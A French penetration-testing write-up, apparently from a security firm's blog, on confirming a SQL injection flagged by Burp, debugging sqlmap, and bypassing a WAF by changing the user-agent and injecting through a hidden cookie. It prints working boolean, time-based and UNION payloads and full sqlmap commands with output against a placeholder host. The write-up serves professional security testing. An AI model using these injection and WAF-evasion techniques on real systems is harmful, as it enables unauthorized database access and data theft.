Découverte d’une injection SQL avec le scanner de BURP

Lors d’un pentest, nous sommes tombés sur cette situation :

Découverte d'une injection SQL lors d'un pentest

Le scanner de burp a détecté une potentielle injection SQL sur un des endpoints de notre cible. D’après lui, le paramètre idEntity de cet endpoint est vulnérable. Pour ce type de vulnérabilité, l’idéal serait d’utiliser l’outil sqlmap afin de faciliter l’exploitation et démontrer l’impact de cette vulnérabilité.

Seulement voilà, lorsque sqlmap est lancé en ciblant ce paramètre, aucune vulnérabilité n’est détectée.

$ sqlmap -u https://www.exemple.com/endpoint?idEntity=442 -p idEntity 

[*] starting @ 12:38:54 /2022-09-28/

[12:38:54] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=ed22131de21...2c78d23ba1'). Do you want to use those [Y/n] Y
[12:38:56] [INFO] testing if the target URL content is stable
[12:38:56] [WARNING] heuristic (basic) test shows that GET parameter 'idEntity' might not be injectable
...
[12:39:18] [WARNING] GET parameter 'idEntity' does not seem to be injectable
[12:39:18] [CRITICAL] all tested parameters do not appear to be injectable. ...

Aucune exploitation n’est possible avec ce résultat, mais ce serait une erreur d’abandonner si rapidement. À partir de cette situation, nous allons effectuer plusieurs actions pour :

  • Confirmer qu’il ne s’agit pas d’un faux positif
  • Déterminer pourquoi sqlmap ne détecte pas la vulnérabilité
  • Trouver une solution pour que sqlmap parvienne quand même à exploiter cet endpoint

Confirmer la vulnérabilité d’injection SQL

Ici, nous allons essayer de confirmer qu’il ne s’agit pas d’un faux positif et que la vulnérabilité d’injection SQL est bien présente. Pour cela, il faut s’intéresser au comportement légitime de l’endpoint et comparer ce comportement avec les éléments identifiés par Burp.

Comportement légitime de l’endpoint et du paramètre idEntity

Depuis le Repeater de BURP, nous pouvons observer le fonctionnement de l’endpoint. Ainsi, nous constatons que lorsque le paramètre idEntity est utilisé, le serveur renvoie quelque part dans sa réponse le nom associé à l’entité ciblée.

Requête légitime valide :

GET /endpoint?idEntity=442 HTTP/1.1
Host: www.exemple.com

Extrait de la réponse légitime valide :

HTTP/1.1 200 OK
Date: Tue, 13 Dec 2022 13:20:37 GMT

...
<... nameEntity="Rubeus Agrid" ...>
...

Par ailleurs, les tests manuels permettent de déterminer que lorsque la valeur du paramètre idEntity est invalide, le champ nameEntity retourné dans la réponse est vide.

Requête légitime invalide :

GET /endpoint?idEntity=0 HTTP/1.1
Host: www.exemple.com

Extrait de la réponse légitime invalide :

HTTP/1.1 200 OK
Date: Tue, 13 Dec 2022 13:20:37 GMT

...
<... nameEntity="" ...>
...

Détail du comportement identifié par BURP

Les requêtes qui ont permis à Burp d’identifier la potentielle vulnérabilité peuvent être directement consultées.

Requêtes Burp qui ont permis d’identifier la vulnérabilité d'injection SQL

Le contenu de ces requêtes et réponses est donné ci-dessous.

Requête 1 :

GET /endpoint?idEntity=44252262402+or+2346=02346 HTTP/1.1
Host: www.exemple.com

Extrait de réponse 1 :

HTTP/1.1 200 OK
...

...
<... NameEntity="John Smith" ...>
...

Requête 2 :

GET /endpoint?idEntity=44291517249+or+6362=6367 HTTP/1.1
Host: www.exemple.com
... 

Extrait de réponse 2 :

HTTP/1.1 200 OK
...

...
<... NameEntity="" ...>
...

Analyse des requêtes

Avec ces requêtes, on observe qu’une injection de type boolean-blind semble avoir fonctionné. La première payload peut être simplifiée de cette façon si l’on applique les opérateurs SQL or et = :

idEntity = 44252262402 or 2346=2346
idEntity = 44252262402 or 1
1

Le serveur répond favorablement en répondant par <... NameEntity="John Smith" ...>. La condition sur idEntity est outrepassée grâce à notre injection. Dans son traitement, le serveur retourne la toute première entité qu’il rencontre. C’est-à-dire celle avec l’id 1.

La deuxième payload peut être simplifiée de cette façon :

idEntity = 44291517249 or 6362=6367
idEntity = 44291517249 or 0
idEntity = 44291517249

Vu que 44291517249 est une valeur invalide (aucune entité associée), le serveur répond par <... NameEntity="" ...> .

Le fait de rejouer ces requêtes permet de confirmer que les Opérateurs SQL sont bien interprétés par le serveur. À ce moment, nous avons de bonnes raisons de penser que l’injection boolean-blind n’est pas un faux positif.

Débugage de sqlmap

Ajustement de sqlmap

Maintenant que nous avons une meilleure compréhension de ce qui se passe, nous pouvons tenter de relancer sqlmap avec quelques options supplémentaires :

  • --technique=B pour préciser que nous voulons utiliser une technique d’injection boolean-blind
  • --not-string=nameEntity=”” pour indiquer que la “querry SQL” échoue lorsque le serveur retourne cette chaine de caractère
  • --proxy=http://localhost:8080 pour rediriger le trafic de sqlmap vers notre proxy Burp

En lançant sqlmap avec ces nouvelles options, nous obtenons ce résultat :

$ sqlmap -u https://www.exemple.com/endpoint?idEntity=442 -p idEntity --technique=B --not-string='nameEntity = "";' --proxy=http://localhost:8080
[*] starting @ 16:45:37 /2022-09-28/

[16:45:37] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=abb6bd689d5...2bd0ef7098'). Do you want to use those [Y/n] Y
[16:45:39] [WARNING] heuristic (basic) test shows that GET parameter 'idEntity' might not be injectable
[16:45:39] [INFO] testing for SQL injection on GET parameter 'idEntity'
[16:45:39] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[16:45:42] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[16:45:42] [WARNING] GET parameter 'idEntity' does not seem to be injectable
[16:45:42] [CRITICAL] all tested parameters do not appear to be injectable. ...

[*] ending @ 16:45:42 /2022-09-28/

Analyse du trafic

Le résultat ne correspond toujours pas à nos attentes. Mais maintenant, le trafic passe par notre proxy. Grâce à cela, nous pouvons identifier ce qui bloque grâce aux requêtes capturées. Voici ce que nous observons :

Requête :

GET /endpoint?idEntity=442<payload_SQLMAP> HTTP/1.1
User-Agent: sqlmap/1.6.8#stable (https://sqlmap.org)
Host: www.exemple.com
...

Réponse :

HTTP/1.1 200 OK
...
Content-Length: 0

La réponse ci-dessus est observée pour chacune des requêtes envoyées. Celle-ci consiste en une réponse HTTP 200 vide (content-Lenght: 0). La présence d’un WAF (Web Application Firewall) serait à l’origine de la déroute de sqlmap. Le serveur renvoie une réponse vide à chaque fois que le WAF estime subir une attaque.

Confirmation de l’hypothèse

Cette hypothèse est confirmée dès lors que l’on essaie d’envoyer manuellement une instruction SLEEP via le Repeater.

Requête manuelle d’une injection Time-Based :

GET /endpoint?idEntity=442+and+SLEEP(5)+-- HTTP/1.1
Host: www.exemple.com

Extrait de la réponse :

HTTP/1.1 200 OK
...
Content-Length: 0

Une réponse vide est renvoyée par le serveur attestant de la réaction du WAF à notre payload.

Première méthode d’évasion

Afin de pousser notre exploitation, il est nécessaire de faire parvenir nos payloads sans se faire détecter par le WAF. Nous obtenons déjà un premier résultat encourageant juste en modifiant le user-agent de nos requêtes :

  • -A "NONE": Modification du user-agent de sqlmap/1.6.8#stable (https://sqlmap.org) à NONE
$ sqlmap -u https://www.exemple.com/endpoint?idEntity=442 -p idEntity --technique=B --not-string='nomEntity = ""' --proxy=http://localhost:8080 -A "NONE"

[*] starting @ 16:36:42 /2022-09-28/

[16:36:42] [INFO] testing connection to the target URL
[16:36:44] [WARNING] potential CAPTCHA protection mechanism detected
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=2712093e2d7...39857346b9'). Do you want to use those [Y/n] Y
[16:36:47] [WARNING] heuristic (basic) test shows that GET parameter 'idEntity' might not be injectable
[16:36:49] [INFO] testing for SQL injection on GET parameter 'idEntity'
[16:36:49] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[16:36:51] [WARNING] reflective value(s) found and filtering out
[16:36:57] [INFO] GET parameter 'idEntity' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[16:37:23] [INFO] checking if the injection point on GET parameter 'idEntity' is a false positive
GET parameter 'idEntity' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 16 HTTP(s) requests:
---
Parameter: idEntity (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: idEntity=442 AND 4465=4465
---
[16:37:37] [INFO] testing Altibase
[16:37:38] [WARNING] the back-end DBMS is not Altibase
[16:37:38] [INFO] testing MySQL
[16:37:39] [INFO] confirming MySQL

Ainsi, nous obtenons la confirmation que l’endpoint est vulnérable aux injections SQL avec la méthode boolean-blind.

Limites

Malheureusement, même si nous sommes parvenus à détecter la vulnérabilité, ce n’est pas encore suffisant pour permettre une exploitation complète. Ci-dessous, la tentative d’exploitation pour retrouver les noms des bases de données :

$ sqlmap -u https://www.exemple.com/endpoint?idEntity=442 -p idEntity --technique=B --not-string='nomEntity = ""' --proxy=http://localhost:8080 -A "NONE" -dbs

[*] starting @ 17:22:32 /2022-09-28/

[17:22:32] [INFO] resuming back-end DBMS 'mysql'
[17:22:32] [INFO] testing connection to the target URL
[17:22:34] [WARNING] potential CAPTCHA protection mechanism detected
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=d3a6945d5a7...3994752cf5'). Do you want to use those [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: idEntity (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: idEntity=442 AND 4325=4325
---
[17:22:37] [INFO] the back-end DBMS is MySQL
[17:22:37] [INFO] fetching database names
[17:22:37] [INFO] fetching number of databases
[17:22:37] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[17:22:37] [INFO] retrieved:
[17:22:38] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[17:22:38] [ERROR] unable to retrieve the number of databases
[17:22:38] [INFO] falling back to current database
[17:22:38] [INFO] fetching current database
[17:22:38] [INFO] retrieved:
[17:23:06] [CRITICAL] unable to retrieve the database names

Cela s’explique car le WAF continue de bloquer les payloads permettant l’extraction de données (SELECT, SLEEP, FROM, WHERE, etc.).

Dans cette situation, nous pouvons utiliser l’option --tamper de sqlmap. Cette option permet de charger un ou des scripts de transformation de payloads dans l’objectif d’outrepasser les WAF. La documentation sur cette option peut être consultée ICI et la liste des scripts utilisables par cette option sont consultable via la commande :

sqlmap --list-tamper 

Malheureusement, dans notre cas aucun des scripts proposés n’a fonctionné. Alors que nous étions si près du but, l’exploitation semblait impossible.

À moins que…

Exploitation de l’injection SQL

Pour l’instant nous nous sommes intéressés uniquement au paramètre idEntity de l’endpoint. Après une investigation sommaire, nous avons lancé d’autres outils dans l’espoir de débloquer la situation. C’est donc grâce à l’extension ParamMiner de BURP que nous avons pu suivre une autre piste. Cette extension propose de fuzzer un endpoint dans le but d’identifier d’autres paramètres, en-têtes ou cookies utilisés par l’endpoint. C’est avec cet outil que le cookie idEntitySelected a pu être découvert.

Cookie idEntitySelected

Lorsque ce cookie est présent dans la requête et que le paramètre GET idEntity est absent, alors le serveur affiche les informations de l’entité correspondant à la valeur du cookie. Leur fonctionnement est en tout point similaire. D’un point de vue fonctionnel, ce cookie devait servir à sauvegarder le choix de l’utilisateur lors de la sélection d’une entité.

Requête :

GET /endpoint HTTP/1.1
Host: www.exemple.fr
Cookie: idEntitySelected=

Réponse :

HTTP/1.1 200 OK
...

...
<... NameEntity="John Smith" ...>
...

Contournement du WAF

Avec le Repeater de BURP, nous pouvons observer le comportement du WAF avec ce cookie. Et c’est avec joie que nous constatons que l’instruction SLEEP n’est pas détectée par le WAF et qu’elle retarde effectivement la réponse du serveur.

Requête :

GET /endpoint HTTP/1.1
Host: www.exemple.fr
Cookie: idEntitySelected=1+or+SLEEP(5)--

Réponse (obtenue après 5 secondes de délai) :

HTTP/1.1 200 OK
...

...
<... NameEntity="John Smith" ...>
...

Adaptation à sqlmap

Grâce à ces tests manuels, nous comprenons que le WAF applique un contrôle strict sur les paramètres GET des requêtes. Par contre, il s’avère plus laxiste sur les valeurs des cookies. Notre exploitation de la vulnérabilité peut donc passer par le cookie idEntitySelected pour un contournement effectif du WAF.

Voici les nouveaux paramètres à ajouter pour inclure le cookie en tant que nouvel élément injectable.

  • --cookie='idEntitySelected=1' : le cookie à inclure dans la requête.
  • --level=2: il faut au minimum le niveau 2 de scan pour inclure les cookies comme paramètres injectables.
  • --param-filter=cookie : on précise que seuls les cookies nous intéressent

Aussi, nous retirons l’option --technique=B car d’autres méthodes d’injection semblent possibles avec ce nouveau paramètre.

Notre nouvelle commande sqlmap obtient donc ce résultat :

$ sqlmap -u https://www.exemple.com/endpoint --cookie='idEntitySelected=1' --level=2 --param-filter=cookie --not-string='nameEntity = "";' --proxy=http://localhost:8080 -A "NONE"

[*] starting @ 18:07:35 /2022-09-28/

[18:07:35] [WARNING] you've provided target URL without any GET parameters (e.g. 'http://www.site.com/article.php?id=1') and without providing any POST parameters through option '--data'
do you want to try URI injections in the target URL itself? [Y/n/q] n
[18:07:36] [INFO] resuming back-end DBMS 'mysql'
[18:07:36] [INFO] testing connection to the target URL
[18:07:38] [WARNING] potential CAPTCHA protection mechanism detected
[18:07:38] [INFO] testing if Cookie parameter 'idEntitySelected' is dynamic
do you want to URL encode cookie values (implementation specific)? [Y/n] Y
[18:07:45] [INFO] Cookie parameter 'idEntitySelected' appears to be dynamic
[18:07:48] [WARNING] reflective value(s) found and filtering out
[18:07:48] [INFO] heuristic (basic) test shows that Cookie parameter 'idEntitySelected' might be injectable
[18:07:51] [INFO] testing for SQL injection on Cookie parameter 'idEntitySelected'
[18:07:51] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[18:08:01] [INFO] Cookie parameter 'idEntitySelected' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[18:08:01] [INFO] testing 'Generic inline queries'
[18:08:02] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[18:08:04] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[18:08:05] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'
[18:08:06] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[18:08:07] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'
[18:08:09] [INFO] testing 'MySQL inline queries'
[18:08:10] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[18:08:10] [WARNING] time-based comparison requires larger statistical model, please wait............ (done)
[18:08:23] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[18:08:36] [INFO] Cookie parameter 'idEntitySelected' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (2) and risk (1) values? [Y/n] Y
[18:08:59] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[18:08:59] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[18:09:01] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[18:09:06] [INFO] target URL appears to have 1 column in query
[18:09:10] [INFO] Cookie parameter 'idEntitySelected' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
Cookie parameter 'idEntitySelected' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 40 HTTP(s) requests:
---
Parameter: idEntitySelectede (Cookie)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: idEntitySelected=1 AND 5547=5547

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: idEntitySelected=1 AND (SELECT 6499 FROM (SELECT(SLEEP(5)))Dwtl)

    Type: UNION query
    Title: Generic UNION query (NULL) - 1 column
    Payload: idEntitySelected=-1931 UNION ALL SELECT CONCAT(0x716a717671,0x624e4644416d526271536d6d57414c527a44616959765253704872496e7976616a447262626f746f,0x717a6a6271)-- -
---
[18:09:18] [INFO] the back-end DBMS is MySQL

[*] ending @ 18:09:18 /2022-09-28/

Et là c’est le jackpot !

Non seulement des techniques d’injections supplémentaires ont pu être découvertes (UNION étant bien plus efficace que les deux autres), mais la lecture des éléments de la base de données est maintenant possible.

Il ne reste plus qu’à relancer la commande précédente en ajoutant les options d’énumération de sqlmap pour obtenir le contenu de la base de données.

Nous sommes maintenant capables d’exploiter efficacement notre vulnérabilité. Ce niveau d’exploitation n’aurait sans doute pas été possible si ne nous étions pas intéressés en détail au fonctionnement de l’endpoint et de sqlmap.

Ainsi, si vous rencontrez une situation similaire lors d’un pentest web, prenez le temps d’investiguer. Ça peut en valoir la peine !

Auteur : Benoit Philippe – Pentester @Vaadata